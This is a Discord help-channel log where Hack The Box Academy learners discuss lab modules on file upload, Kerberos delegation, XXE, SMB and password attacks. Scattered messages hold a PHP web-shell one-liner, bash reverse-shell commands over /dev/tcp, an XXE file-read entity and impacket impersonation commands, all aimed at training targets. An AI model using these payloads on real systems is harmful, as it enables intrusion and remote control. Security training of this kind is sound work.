#modules

1 messages · Page 369 of 1

fathom pendant
#

It means you've asked plenty of questions for me to discern enough about you on how to respond

waxen totem
fathom pendant
#

If i remember you from this chat, it's a bad thing

#

Lol

sonic plume
#

lmao

velvet gale
rustic sage
#

File upload attacks, whitelist filter
So basically I need to fuzz file extension to get a shell.
The module says to use burpsuite to and see the length of each response but I don't understand one thing. There's only two lengths for this question, 226 and 227
Most are 227, so why dont extensions that gave me 226 get accepted?

#

I'm checking extensions manually

#

Bc both lengths give me "only images allowed"

waxen totem
#

we were literally just talking about changing the permissions

sonic plume
#

look at the messages above

fathom pendant
#

@quasi wave

quasi wave
#

ok

sonic plume
#

were litterally saying this

quasi wave
#

I didn't see that hold on

fathom pendant
#

Iirc you can order responses

#

I.e. large > small

#

Clicking the column name at the top

velvet gale
# quasi wave I didn't see that hold on

Lol no worries, just make sure you write down the answer for future use. This will happen every single time you try to ssh into a machine if you get a private key. Its very fundamental.

fathom pendant
waxen totem
sonic plume
#

i would get so frustated at some time lmao

fathom pendant
waxen totem
#

Any experience with social engineering?

fathom pendant
#

3/5 on my AP psych exam in HS and my cybersec degree had me take a psych 101 course

#

People are just as important a factor (even fictional people in the case of htb academy targets) as the machine themselves

#

Like a lazy admin reusing an rsa key for root

woeful lake
#

That one got a promotion to client

quasi wave
#

I am playing with chmod but what chmod number do I need to give it? I have tried 700, 444, and 711

#

644 also won't work

#

because that's what it was before

sonic plume
#

google the error message, youll find the answer

velvet gale
#

Of course, so if 644 is too PERMISSIVE you have to make it more restrictive.

waxen totem
#

mans should really google before asking here

fathom pendant
velvet gale
fathom pendant
#

Also suggest removing it from your .ssh folder

#

Also what do you mean by it 'not working' with 700

#

If a key file is pw protected you'll have to input the password when using it, like a pw protected zip file

sonic plume
#

you want and should search what the numbers are meaning, the permissions. like xwr

velvet gale
#

I've provided some documentation for you @quasi wave . That should explain everything for you as far as linux file permissions and what the numbers mean.
You're are too open, you need to make them less open for other users on your system.

fathom pendant
#

Again this is basics he should have learned at some point

#

And should have taken notes of

worldly vortex
#

Anyone available for a quick nudge with the Intro to HTTP attacks TE.CL exercise? I've implemented the exploit as per the guide but I am getting Invalid HTTP Header: '0' error message, for some reason its parsing the size declaration of the empty chunk as a HTTP header

sonic plume
sonic plume
#

i think everyone has

fathom pendant
#

Since he's been this way for over a year

#

:)

sonic plume
#

😟

velvet gale
#

Yeah, but hes a noob lol. Back in the day we used to get told RTFM and ST*U. Its a different world

waxen totem
fathom pendant
#

It'd be different if it wasn't stuff he was told to take note of 1+ year ago

velvet gale
#

Yeah I don't have that context that you do so I can definetly see your point. Annoying and frustrating.

waxen totem
#

I can't remember what I had for breakfast yesterday

sonic plume
#

lmfao

fathom pendant
sonic plume
#

probably some people will never learn?

quasi wave
#

yay I'm logged in as mike via ssh

sonic plume
#

good job

velvet gale
#

There you go!

fathom pendant
#

Nah, I believe Mark can learn

#

It's why I'm actually helping instead of just "LOL good luck"

#

Which i have done with people in the past

waxen totem
velvet gale
#

Fixed mindset individuals

fathom pendant
#

Helping others here is also selfish to a degree, helps keep myself sharp by helping others

quasi wave
#

I got root password

waxen totem
quasi wave
#

I finished challenge

sonic plume
#

good job

waxen totem
sonic plume
#

im sure he did

waxen totem
#

If he didn't he'd be back here in a year asking the same thing about ssh keys

velvet gale
#

See ya in a year!

sonic plume
woeful lake
#

gg

velvet gale
#

I remember not knowing that though. Hes in a good stage of learning. This where you either stick it out or quit not too soon after, and if hes been in at i for a year, thats not really a bad sign.

#

Thats a + in my book, but I also don't know anything else then the 20 minutes I've been here. So that doesn't really mean much.

sonic plume
fathom pendant
#

Google goes a long way

sonic plume
# fathom pendant Google goes a long way

i know, thats just a skill itself tho, researching, problemsolving. (hacking just solving problems over and over again). some ppl got to put more effort in than others

waxen totem
sonic plume
quasi wave
velvet gale
#

I feel like learning how to learn is a skill too right? I think that kind plays into learning "how to google". Thats fundamental

quasi wave
#

lmao good skill to have

waxen totem
fathom pendant
#

Learning process is hit/miss tbh a bit of pseudoscience as well in it

waxen totem
sonic plume
fathom pendant
#

Which is what makes academy good

#

You apply the theory to the practice

sonic plume
fathom pendant
#

In a closed system where the only issue is your own skill

waxen totem
fathom pendant
#

I'll respond if I know. But if it's in the reading I'll straight up tell you to just read

waxen totem
fathom pendant
waxen totem
sonic plume
#

im really lazy

velvet gale
#

I would probably read it. Its really really good info. Trust me. Theres little nuggets in there.

fathom pendant
#

Yeah sometimes there's bits of info in there, like the process to identify something -- not just how to exploit

velvet gale
#

Even some administrative stuff, (how to configure) that really helps you put yourself in the mind of the Admin and what might be going on in the background that you don't necessarily see.

#

So when you're outside hacking your way in. You don't necessarily see everything thats going on explicitly. But you can intuitively guess whats happening by the responses you get. In other words you can see what you don't see.

#

It talked about that early in one of the modules.

fathom pendant
#

Yup

sonic plume
#

good point, all the sections are important, but its just me being lazy not the other things are irrelevant or so

velvet gale
#

Yeah i get it, and to be honest, if the information wasn't that great, I would lose interest and wouldn't read the whole thing. Just skim it. But since its actually useful information it caught my attention and I'm reading it. I'm not a huge reader.

mint niche
#

hi

dark hedge
#

i will say that the modules are interesting enough to keep me reading

mint niche
#

how is it going ?

fathom pendant
dark hedge
rustic sage
fathom pendant
rustic sage
#

Bc the only thing I see for every response is "only images are allowed"

fathom pendant
#

The section should tell you what list to use

rustic sage
fathom pendant
harsh gorge
#

Sure is

#

You’ll have to look at seclists

brittle arch
#

I'm doing the RBCD (Linux) section from the Kerberos Attacks module. I've correctly created a machine account, and added the correct SPN. When I try and get the ST to do the impersonate I get this error:
`Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[] Impersonating Administrator
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[
] Requesting S4U2self
[-] Kerberos SessionError: KRB_AP_ERR_BADMATCH(Ticket and authenticator don't match)
`

Is this a timezone issue?

fathom pendant
#

Yeah looks like tz issue, faketime may work, you may have to disable auto time syncing in the vm to host

brittle arch
#

Exact same error:
`faketime "$(ntpdate -q 10.129.44.160 | cut -d ' ' -f 1,2)" impacket-getST -spn CIFS/DC01.INLANEFREIGHT.LOCAL -impersonate Administrator -dc-ip 10.129.44.160 inlanefreight.local/'HACKTHEBOX:Hackthebox123+!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[] Impersonating Administrator
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[
] Requesting S4U2self
[-] Kerberos SessionError: KRB_AP_ERR_BADMATCH(Ticket and authenticator don't match)
`

Perhaps a problem with the version on impacket?

lucid mortar
#

hey folks, I'm looking for some help with Kerberos Attacks Module > Unconstrained Delegation - Users section. I've attempted to run through the lab a number of times and ways but keep running into the same problem. I even followed the solution guide but it doesn't seem to work either. The issue I'm running into is when I run the printerbug.py command I'm not getting an acceptable TGS. I've tried this with dementor.py as well but with the same result. I'm not sure why this is failing 😦
(and yes I'm using the full hash)

brittle arch
vivid sigil
velvet gale
vivid sigil
velvet gale
#

I guess that would be a workaround. That makes sense since windows natively supports NTLM authentication

lucid mortar
#

wow glad to see I'm not crazy and this is a more common problem. I'll try playing with the host flag and report back

brittle arch
#

And let me know if you have the same issue I'm having with the RBCD section on Linux too

lucid mortar
#

sad to say I don't see a difference with HOST/

#

still broken 😦

lucid mortar
#

oh if you're having a time sync issue (I've had that a few times on HTB machines) I always solve it with sudo ntpdate $machineIP

brittle arch
fathom pendant
#

depends what's throwing the error tbh but yeah

velvet gale
#

Yeah for krbrelay scenario, it uses NTLMSSP as a backup for when Kerberos doesn't work. Kerberos is very time dependent so if there is a clock skew and it doesn't work it will use NTLMSSP in this case, but if its not supported or disabled, then it will just throw the Unsupported MechType error. At least thats what I gathered. @brittle arch you might be facing a separate scenario.

lucid mortar
#

hmmm well now that you say that I didn't try syncing my time... let me give that a shot

brittle arch
velvet gale
#

Idk, these are old protocols old stuff going on, a bunch of MSFT nonsense to go on top of it. Just a recipe for disaster really lol

fathom pendant
#

typical Microsoft really

velvet gale
#

Imagine taking a dump 40 years ago. And let it sit there for a good 20 years of it and just adding on top of it more and more and until you get a nice heaping pile. A mix of old and new. And then make it proprietary and call it Windows

#

Instant trillionaire.

fathom pendant
#

NTLM was recommended to be disabled like at least 10+ years ago; and well here we are

velvet gale
#

Yeah well governments wont allow that because they are still using windows xp lol

fathom pendant
#

WIndows 3.1

velvet gale
#

Yeah and I bet you it does something crazy like launch missiles on an aircraft or something. Because, why not. 'Murica

fast cedar
#

hello i know this is not the right channel to ask for help but i am not able to chat on general channel like its shows you dont have permission to chat how can i get that

storm elk
fast cedar
#

ok it worked thanx a lot

formal sphinx
#

Is anybody having problem with smbmap on "Attacking Common Services " module?

fathom pendant
#

i never used or needed smbmap on that module

formal sphinx
#

Oh, ok

#

Bcs it is showing smbmap command, and i wanted to try it out, but i don't get any output, all i get is that connection is established, but that's it.

fathom pendant
#

they may have updated it to include smbmap

#

but i don't recall it

formal sphinx
#

Here is the screenshot from the academy.

#

And here is what i get

fathom pendant
#

i'm assuming you're using smbmap against the spawned target

#

maybe respawn the target

#

¯_(ツ)_/¯

fathom pendant
#

a fair bit of time HTB will snip output that's not relevant

formal sphinx
#

I can ping it, and i can do nmap scan on it

fathom pendant
#

can you do smbclient -N -L //ip

formal sphinx
#

I will try it now

fathom pendant
#

as that's literally the command above it

formal sphinx
#

Yes

fathom pendant
#

then it might just be an smbmap issue ¯_(ツ)_/¯

#

multiple ways to perform the same hting, i wouldn't get stuck too much on it

formal sphinx
#

Ok

#

Thanks 🙂

fathom pendant
#

are you using the apt binary or a cloned github version?

formal sphinx
#

apt

#

Default one that comes with kali

#

Maybe i should try to clone it from github

fathom pendant
#

i'm using the one installed in parrot and it's showing the same info

#

try reinstalling it?

#

sudo apt reinstall smbmap

formal sphinx
#

I mean, same output

fathom pendant
#

try sudo apt remove smbmap; reset your vm; reinstall it

formal sphinx
fathom pendant
#

¯_(ツ)_/¯

#

not sure the differences to be honest

waxen totem
#

does it matter? there's like a billion ways to list smb shares

formal sphinx
wind moat
waxen totem
wind moat
#

netexec didnt work tho

waxen totem
#
nxc smb <target> --shares

didn't work?

wind moat
#

most of these tools didnt work for me in kali vm

#

i recommend u use pwnbox @formal sphinx

fathom pendant
#

that sounds more like your kali is borked

waxen totem
#

did you like... use the academy vpn?

wind moat
#

i tried github version, downloading from apt, and everything

waxen totem
#

cos I have fucked up before using the lab vpns for academy

wind moat
#

all versions seem to have some issues for me , 🙂

fathom pendant
waxen totem
#

o

#

your tools updated? idk

wind moat
#

smbclient works tho 🙂

waxen totem
#

which reminds me: time to update everything on my VM

formal sphinx
#

Problem is that i was using parrot on previous laptop, and on new one i can't use vmware properly

#

It runs good for about an hour and than the performance drops a lot until it freezes completely

fathom pendant
#

nxc worked fine for me

waxen totem
#

if it's a linux smb issue, you CAN use windows, it has the benefit of using file explorer as well for smb shares

fathom pendant
#

target is working as intended for me using pwnbox/parrot ¯_(ツ)_/¯

#

sounds like something potentially broke during an update or requires an update

river jetty
#

Hey I'm trying to find the parameters for this Skills Assessment - Web Fuzzing. I got the parameter but I can't seem to find the others.

formal sphinx
#

@fathom pendant You are using pwnbox as vm?

fathom pendant
#

yes

fathom pendant
#

(and iirc it tells you)

river jetty
#

It also says "This method is no longer used" when I curl the page

#

The question is: In the page from the previous question, you should be able to find multiple parameters that are accepted by the page. What are they?

#

So I assumed that there's more than one.

fathom pendant
#

what module?

#

because that's not the web fuzzing module skill assessment...

#

unless you're talking about a different module

river jetty
fathom pendant
#

ah that module is "attacking web applications with ffuf"

river jetty
#

Whoops

wind moat
#

there should be two params there

#

if u use the right wordlist , u should be able to find it

fathom pendant
#

yes there's 2 parameters, just because a method is no longer used doesn't make it invalid

#

it could still be usable; but updated to a different one

formal sphinx
fathom pendant
#

you can't download pwnbox

#

you can download the htb-edition of parrotOS, but that's not the same as pwnbox

formal sphinx
vivid sigil
fathom pendant
#

impacket should be preinstalled

fathom pendant
# river jetty Whoops

as another hint; the final question refers to using the POST method to submit via curl (this is important for how you'll fuzz)

rough violet
#

"In general, there are two types of services: internal, the relevant services that are required at system startup, which for example, perform hardware-related tasks, and services that are installed by the user, which usually include all server services."
what does "server service" mean in this context

waxen totem
waxen totem
#

like mpd

waxen totem
#

ye

river jetty
fathom pendant
#

The key info was in the question

waxen totem
waxen totem
fathom pendant
#

Wall of text: the card game

waxen totem
#

sometimes a card's functionality isn't on the card but burried in a card that has been banished like 2 rounds ago

river jetty
waxen totem
vivid sigil
cloud urchin
#

i believe the only difference is the theme, the htb edition is just themed like the pwnbox/htb

rough violet
#

the benz, the benz, the purple, the green the yellow the white cocaaine the white
hi tech
hi tec
hi tec

hasty mauve
#

bro's drunk

rough violet
safe star
rough violet
#

they become much more of an issue because those networks are probably connected through cables to the main gateway (border gateway) router of the company?
or because mitm work on mac addresses but not IPs?

waxen totem
#

They become more of an issue because it's much easier to attack a network from within it

#

and rarely are networks with active hosts directly connected to the gateway router, there's usually a chain of em

rough violet
waxen totem
rough violet
#

user, client

waxen totem
#

can also be servers, printers, phones...

#

anything you can connect to a network

rough violet
rapid basin
#

i keep having this issue on the "responder" module,is that normal?

waxen totem
#

responder module? do you mean box?

rapid basin
#

yeah mb

waxen totem
#

is unika.htb in your /etc/hosts file?

fading stag
#

WHY CANT I TYPE IN GENERAL????

waxen totem
vocal kelp
#

Hi everyone, I am currently doing the fourth module of CDSA, Windows Event Logs and Finding Evil . Did anyone here face any issues while solving the answers to the questions of this module?

junior helm
#

Did you solve it?

fading stag
#

its not randomized

#

and its chaos

waxen totem
#

don't look at me man, I don't have perms

fading stag
#

WHO CHANGED MY NAME

#

DONT LET ME @ EVERY SINGLE MEMBER

storm elk
#

Because your name did not abide by the rules.

fading stag
#

what rules

storm elk
#

Stop the caps and an at everyone won’t work

fading stag
#

bro its chaos

storm elk
#

The rules you’re supposed to read when joining a server

fading stag
#

i have read them

storm elk
#

It’s non English characters

acoustic owl
fading stag
#

well at least name it back as chaos

#

in english

storm elk
#

Identify yourself with your identifier and it will open the general chat for you

#

And then your HTB username will be shown

fading stag
#

couldnt link it

#

can you just name it back as normal chaos

storm elk
fading stag
#

I TOL you for god's sake i said i couldnt

storm elk
#

And why is that?

fading stag
storm elk
#

Try again

fading stag
acoustic owl
fading stag
#

fucking clown

fading stag
#

and the slow mod is just sitting on my nerves

#

shitty server

#

rename me back

acoustic owl
real delta
fading stag
#

i dont need some one to teach me

storm elk
#

Well, it’s three simple steps to identify yourself

acoustic owl
#

Only you can rename yourself with a verification.

fading stag
acoustic owl
fading stag
#

well im asking you do the same

#

just name me CHAOS

real delta
fading stag
storm elk
#

We can’t. Also , you asked to type in #general . you’re the only one who can identify yourself. If you get an error, tell us which one

fading stag
#

it shows caps ERROR

acoustic owl
real delta
storm elk
#

Dm me a screenshot if you want.

waxen totem
#

Man, you mods must have some helpdesk experience dealing with karens XD

fading stag
#

i will report non English name as racism

real delta
fading stag
#

name me back

#

in english letters

#

chaos

storm elk
#

No

fading stag
#

not hard

real delta
#

I don't have mod perms, sorry

fading stag
storm elk
#

Identify yourself. If you don’t wanna identify yourself , that’s on you.

acoustic owl
#

One last time. We can't rename you. You have to rename yourself. Your HTB username will then automatically become your Discord username.

storm elk
#

Other than that, this isn’t a channel to chat. This is a channel for module help

fading stag
#

i cant talk in general'

real delta
storm elk
fading stag
#

i said i tryed

storm elk
#

And I told you to dm me the screenshot of the error

#

If u want to be helped, listen to the ones trying to help

fading stag
#

just please i dont want to be mad, i get mad so much and i have a heart condition

storm elk
#

I’ll be waiting for that screenshot.

acoustic owl
#

Then let us help you. Verify your user and you will have the desired username and access to #general

storm elk
fading stag
#

i made a new account

#

what now?

storm elk
real delta
pseudo kiln
#

hey guys I got a question regarding LFI and File Upload module. For LFI I noticed we use <?php system($_GET['cmd']); ?> and call the cmd parameter with ?cmd=<command>. For file upload instead we use <?php system($_REQUEST['cmd']); ?> then call it with &cmd=<command> instead. The question is why ? I tried the file upload payload for LFI and it does not work. Is it something related to php ? I do not get it.

storm elk
pseudo kiln
#

hmmmmm, I see still strange that $_REQUEST would not work for LFI then

storm elk
#

Which module and section are you working on? I’ll try to have a look on my phone

pseudo kiln
#

maybe it's finally time to go through w3schools php section, been putting it off for a while

pseudo kiln
potent thorn
#

Anyone manage to get the petit potam exploit working in the Bleeding edge vulnerabilities section of Ad and enum?

I got the other two working just not petit potam

I get to the Requesting a TGT using gettgtpkinit.py step then it fails to get one from the kdc

calm abyss
#

hello, anybody did Game Reversing & Modding ?
I am stuck at Building a Runtime Hook

tender nimbus
#

Hey guys i'm stuck on the Windows Event Logs & Finding Evil module, i'm trying to do a DLL hijack on the calc.exe like in the module, the problem is that i can't move the calc.exe from the system32 dir i only can place my malisios dll in the dir but i can't name it WININET.DLL bcs there is already a file named like this, can't delete it as wel i need higher rights can somebody help?

shell solar
#

hi, has anyone made this section? save my time please what word lists do you use?

opal nexus
tender nimbus
ripe wadi
#

guys how to knowif a box is buggy ir its skill issue

acoustic owl
#

When in doubt, I'd assume it's a skill issue.

ripe wadi
#

for example i was doing a machine for the attacking common services and the ftp service was bugged and it just didnt show the available files on the ftp sevrer, i was banging my head against the wall and after 3 restarts it finally showed it

acoustic owl
#

Did you wait a few minutes after starting each time? Some boxes take a few minutes to fully start up.

ripe wadi
#

the first one yeah i made around 10 scans just in case

acoustic owl
#

Scans? You said that the server did not display the files.

ripe wadi
#

i scanned the machine ftp server around 10 times and the scan never showed available files

acoustic owl
#

Yes, but why scans?
You log in and the client then shows you the files on the server.

ripe wadi
#

well the third scan did show the files

#

can i paste what i am talking about to better ilustrate my point since i dont want one of the mods to warn me for pasting module content

ripe wadi
#

ok

calm abyss
#

Unity Mono Win x64 6.0.0-be.672

zenith gazelle
#

Hi guys, happy holidays for everyone !!!

#

Anyone where did do or is doing the underpass machine ?

steel snow
#

Hello, excuse me, i am experiencing a weird issue, which is connecting to the machine's website

#

it would work at the beginning but then, the connection dies

#

like after 2 minutes or so

#

i think in this specific module only but i don't know

#

which is get started

plush lotus
plush lotus
#

question. if i create an alias in my bash folder will it be able to be use in the vpn session

vague dust
#

so many new accounts on here lately

marsh thicket
#

i hope this isnt a stupid question but im new to HTB.

can someone explain what it wants me to do here?

marsh thicket
vague dust
#

did you spawn the target (if there is one) a little bit lower on that page

marsh thicket
#

oh yhh i spawned it

vague dust
#

try to ssh into that target

marsh thicket
#

whats the download file for?

vague dust
#

thats for when you want to use your personal VM

#

but if you are using HTB pwnbox then you dont have to download that file

marsh thicket
#

oh so i can just ignore it, spawn the pwnbox and answer the questions below here right?

vague dust
#

yup!

dark hedge
#

you still have to SSH to the target

#

otherwise your answers will be incorrect

marsh thicket
#

ssh 10.129.127.54@htb-student

its like this right?

sinful ginkgo
#

yes

#

after u ssh u have to enter the password

vague dust
#

errrr

sick depot
#

anyone know why on the bleeding edge vulns module when i want to execute print nightmare msf console wont bind to the ip ? [-] Handler failed to bind to 172.16.5.225:8080:- -
[*] Started reverse TCP handler on 0.0.0.0:8080

vague dust
#

re read that command @marsh thicket

#

did it work?

marsh thicket
#

It worked now i got it in the wrong order 😆

vague dust
#

lol you are now on your way lil hacker

plush lotus
#

ok what am i missing.

vague dust
#

probably the unit name with the description

plush lotus
#

so do i need to pipe that into find

vague dust
#

well. look at your command. is there a command to list ALL the units?

plush lotus
#

ah

fathom pendant
#

Don't share answers

marsh thicket
#

ohh sorry

#

can i dm?

fathom pendant
#

If it highlights green, the answer is correct

fathom pendant
marsh thicket
vague dust
#

cause it said +0

marsh thicket
#

ahh ok i see now

sick depot
#

can i dm someone for help with the bleeding edge vulns module

dim ridge
fathom pendant
lucid mortar
dim ridge
#

yeah, one sec will get a screenshot

fathom pendant
#

The question tells you which directory to start with

dim ridge
#

yeah /admin/PAGE.html

fathom pendant
#

Or status code

fathom pendant
#

Look at your request

#

It's requesting /page.html

#

Not /admin/page.html

dim ridge
#

But shouldn't it go from Admin from the target i provided

#

or does that have to be in the request header too

fathom pendant
#

It has to be in the header

dim ridge
#

ah 🤦‍♂️

fathom pendant
#

Your setting should autoupdate it

dim ridge
#

thank you one again Marcilee, i will make the change and fingers crossed its one of the first results

fathom pendant
#

But idk why it isn't

dim ridge
#

So this should work?

fathom pendant
vague dust
#

try it and see what happens 😄

dim ridge
#

haha the thing is @vague dust you can sit there for hours and get the same results because its throttled to 1 request per sec

vague dust
terse sedge
#

In Footprinting lab, Medium, I can't cd into the TechSupport folder, it says "Permission denied". I did use sudo when mounting the network share: sudo mount -t nfs 10.129.212.78:/ ./target-NFS/ -o nolock. It has "nobody" and "nogroup" as ownership.

vague dust
dim ridge
#

not yet

#

which module is that

vague dust
dim ridge
#

the AD one is already a slog, i was hoping that would be the worst of it

plush lotus
vague dust
plush lotus
dim ridge
# fathom pendant Should

worked thank you, that Burp update has confused things, looks simpler on the screenshots from the module material

vague dust
plush lotus
sonic ridge
#

I need help with the web attacks local file disclosure module. I've tried <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=connection.php"> I've also tried a few different paths but I can't seem to get the encoded file

fathom pendant
#

You don't need to specify the .php

sonic ridge
#

it still doesnt work

fathom pendant
#

I mean are you calling &company; anywhere?

sonic ridge
#

yes

marsh thicket
#

i dont remember reading anything on the theory pages that i can refer to answer this question?

does this mean i should research the answer on the internet ?

sonic ridge
#

iin the email field

fathom pendant
sonic ridge
#

i verified that xxe vulnerability is there

vague dust
fathom pendant
#

There's a command that helps you find __env__ironment variables

marsh thicket
#

im assuming theres a command that helps with this but none of the theory pages referred to find path to users mail?

vague dust
marsh thicket
#

ahhh

fathom pendant
plush lotus
vague dust
marsh thicket
vague dust
#

IF you do look up on the internet dont look up the module look up the METHOD you are trying to do. example: what command do i input in powershell to ignore scripts

#

im still trying to attack the server in this module to let me get a cert 😿

ripe wadi
#

how to practice the learned things in academy using free htb machines

#

like is there a site or somethng from which i can see which topics are for a machine

sonic ridge
#

i found out what it was, it wasnt formatted correctly

autumn pilot
#

Rado35 you can use the Academy x HTB Labs feature to find out the knowledge required from modules to solve a certain machine

ripe wadi
#

i see

#

thanks

fathom pendant
ripe wadi
#

or are the free ones good enough

vague dust
ripe wadi
#

i know for academy

vague dust
ripe wadi
#

isnt it only for academy

marsh thicket
vague dust
#

what is the question asking you

marsh thicket
#

which shell is specified ?

fathom pendant
ripe wadi
#

yeah

fathom pendant
vague dust
#

your going to have to do a little digging for that one. the answer is closer than you think

marsh thicket
#

i found it in env but it gave a path

fathom pendant
ripe wadi
fathom pendant
#

Did you try or just assume

ripe wadi
#

is the vip enough

vague dust
ripe wadi
#

my only concern is that boxes are too ctf-ish and not really real world

autumn pilot
#

each machine or challenge tries to teach you something

vague dust
#

im finally done with that module dogecry

hasty mauve
ripe wadi
#

although i didnt do a lot

hasty mauve
#

I did around 140 machines on THM, most of them were CTF-ish

autumn gate
#

in "Pivoting, Tunneling, and Port Forwarding" module "SOCKS5 Tunneling with Chisel" i Building the Chisel Binary and Transferring Chisel Binary to Pivot Host, the chisel binary works in my parrot machine but it doesn't work on ubuntu pivot host. it shows the following error --> ubuntu@WEB01:~$ ./chisel --help
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel)

#

this is the error screen shot for referance

tired sundial
#

hope all are doing fine
I just wanted some guidance regarding cybersecurity like from where should I start any insights you all wanna share

vague dust
#

theres a htb bible lying around here somewhere...

fringe timber
#

HTB Academy obviously :p

compact patrolBOT
hasty mauve
autumn gate
steel snow
sick depot
#

Can anyone help with the bleeding edge vulns module in AD attacks and enum

plush lotus
#

ok once again i am missing something

vague dust
#

well it says newline....what would cause it to read as newline?

plush lotus
vague dust
#

maybe google the error message?

fathom pendant
#

< and > are special characters in bash

plush lotus
vague dust
#

i think she is hinting at what to type in google

fathom pendant
#

Sometimes (most times) syntax that's shown with any kind of brackets, you drop the brackets

plush lotus
fathom pendant
#

Nope

#

See above

fathom pendant
#

I will hurt you

vague dust
#

🫢

plush lotus
#

please do i might stick better

fathom pendant
#

Use your brain to think of what "dropping" can mean

plush lotus
vague dust
#

did you get a new error

plush lotus
vague dust
#

so what does that tell you?

plush lotus
#

unless i need to use the pwnbox for this

vague dust
#

why?

plush lotus
vague dust
#

is there a target at the end of the page?

fathom pendant
#

I was waiting for you to realize

vague dust
#

lol

plush lotus
vague dust
#

🤦‍♂️

plush lotus
#

is the commands correct

vague dust
#

heres a hint. are there questions you have to answer at the end of that section?

plush lotus
#

yes

#

What is the Type of the service of the "dconf.service"?

fathom pendant
#

Perhaps there's a simpler way to check dconf.service

plush lotus
#

even using find i get permission denied

vague dust
#

what section and module is this? i wanna see

plush lotus
#

task scheduling linux fundamentals @vague dust

sonic ridge
#

can someone help me with the web attacks blind data exfiltration module? I set up the listener and I don't get a connection when I send the request to /blind/submitDetails.php

fathom pendant
sly kelp
#

Can someone direct me in right direction in Injection Attacks Modules. I'm unable to connect thedots

LDAP- Data exfiktratiom and Blind exploitation. I followed as module says but I couldn't get any ||char|| other than ||*||

plush lotus
#

@fathom pendant @vague dust

acoustic owl
sly kelp
plush lotus
#

@vague dust @fathom pendant

fathom pendant
#

Tip; you throw the 2> /dev/null on the find command

sly kelp
fathom pendant
acoustic owl
plush lotus
vague dust
#

i had to bust out my VIM cheatsheat lol

sonic ridge
#

whats the best way to remember all this stuff we learn

fathom pendant
fathom pendant
vague dust
#

nano ftw

sonic ridge
#

yeah but how do you practice

#

legally

sly kelp
acoustic owl
plush lotus
quasi wave
#

ok so for the medium lab for Password Attacks module I did an nmap scan and found SMB was a way in. I used crackmapexec to get the username and password for SMB. I am trying to log in with that user via smbclient but its giving me an error. I looked up the error but I am not understanding people's solution on how to solve it. Here is my command:

┌─[us-academy-1]─[10.10.15.85]─[htb-ac-605555@htb-kvcwjpxhxm]─[~]
└──╼ [★]$ smbclient -L 10.129.192.129 -U john
Password for [WORKGROUP\john]:

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    SHAREDRIVE      Disk      SHARE-DRIVE
    IPC$            IPC       IPC Service (skills-medium server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
#

I am thinking do I need to specify the IPC share?

#

is that my issue?

fathom pendant
quasi wave
crisp solstice
fathom pendant
#

There's a share right there

#

||sharedrive||

quasi wave
#

but why won't it let me log in?

sonic ridge
#

do they have ctf for web penetration

fathom pendant
#

With smb you need to specify the share you're connecting to

#

You can't just connect to the root

acoustic sparrow
#

does anyone in here finished winows lateral movment (Winrm)

fathom pendant
acoustic sparrow
vague dust
wooden trail
#

Hi guys, is it normal that its seems impossible to get a revshell on File Upload path? I get code execution but never a revshell.

File is:
<?php system($_REQUEST['cmd']); ?>

shots taken are:

94.237.54.116:33750/uploads/reverse.php?cmd=bash -i >& /dev/tcp/xx.xx.xx.xx/9001 0>&1
94.237.54.116:33750/uploads/reverse.php?cmd=bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/9001 0>&1'

#

Its driving me crazy, no much space for mistakes lol, 1 command

wooden trail
#

A call like:

94.237.54.116:33750/uploads/reverse.php?cmd=whoami

Works perfectly fine

wooden trail
fathom pendant
#

You're attacking a public ip. Not private

wooden trail
acoustic owl
#

As far as I know, Docker containers (Target machines) have no way of contacting anything outside their network

fathom pendant
#

You'd have to do some port forwarding shenanigans to get a revshell, which isn't recommended

wooden trail
#

I was not noticing it was a pip

#

so used to privates

#

thank you

fathom pendant
#

it's also why it directly gives you a port 😉

wooden trail
quasi wave
#

ok for the medium box I cracked the file and logged in as jason

#

so from here do I need to do credential hunting?

#

in order to find root password?

fathom pendant
#

root is the end goal; there may be many steps in between

#

do take a note of what led you to j*

#

the documentation mentions something which may be helpful :)

quasi wave
#

ok

velvet gale
#

@quasi wave Just so you know, in case you have heard the term but don't know what it means. The processes of going from the user you are ( a lower privilege user) to root (a SYSTEM/kernel level user) is known as "Privilege escalation"

vague stag
#

guys

velvet gale
#

The cyber mentor has a very good linux and windows privilege escalation course free on youtube for beginners. It covers most of the basics

vague stag
#

how do I get chat perms, I wanna type in general

#

do u know how slxyre

velvet gale
vague stag
#

I read rules

velvet gale
#

Read welcome as well.

quasi wave
fathom pendant
#

just follow the path in front of you

quasi wave
#

I found in the document there is mention of database files so I used the BASH for-loop to list DB files but I don't have permission to read any of them

#

so can't cat any of them out

fathom pendant
#

I wonder what DATABASE service can be used

#

🤔 maybe some sort of __s__tructured__q__uery__l__anguage server 🤔

quasi wave
#

ok

fathom pendant
#

gotta abstract some thought sometimes

#

think of the question for root as Z; so you're not gonna always go directly from a -> z; sometimes you need to go through the alphabet to get to z

#

again don't assume that the question is telling you the first step

#

the question is just a goal

quasi wave
#

ok I'm logged into sql database

